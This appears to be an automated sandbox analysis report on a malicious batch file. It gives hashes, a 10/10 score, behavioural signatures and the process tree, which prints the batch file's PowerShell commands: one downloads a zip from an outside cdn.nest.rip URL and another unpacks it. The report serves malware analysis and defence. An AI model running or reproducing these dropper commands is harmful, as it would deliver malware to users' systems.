3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
19s
max time network
80s
platform
windows10-2004_x64
resource
win10v2004-20231020-en
resource tags

arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
submitted
04/11/2023, 07:55

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General

Target

tesy - Copy (8).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
16	1708	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1708	powershell.exe
1708	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1708	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4768 wrote to memory of 1708	4768	cmd.exe	87
PID 4768 wrote to memory of 1708	4768	cmd.exe	87
PID 4768 wrote to memory of 4240	4768	cmd.exe	90
PID 4768 wrote to memory of 4240	4768	cmd.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (8).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  PID:4240

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tgxb1eak.4om.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1708-0-0x00007FFC9D330000-0x00007FFC9DDF1000-memory.dmp

Filesize
10.8MB

Download
memory/1708-10-0x0000018D4D9E0000-0x0000018D4DA02000-memory.dmp

Filesize
136KB

Download
memory/1708-11-0x0000018D33570000-0x0000018D33580000-memory.dmp

Filesize
64KB

Download
memory/1708-12-0x0000018D33570000-0x0000018D33580000-memory.dmp

Filesize
64KB

Download
memory/1708-13-0x0000018D33570000-0x0000018D33580000-memory.dmp

Filesize
64KB

Download
memory/1708-17-0x00007FFC9D330000-0x00007FFC9DDF1000-memory.dmp

Filesize
10.8MB

Download
memory/1708-18-0x0000018D33570000-0x0000018D33580000-memory.dmp

Filesize
64KB

Download
memory/1708-19-0x00007FFC9D330000-0x00007FFC9DDF1000-memory.dmp

Filesize
10.8MB

Download
memory/4240-21-0x00007FFC9D330000-0x00007FFC9DDF1000-memory.dmp

Filesize
10.8MB

Download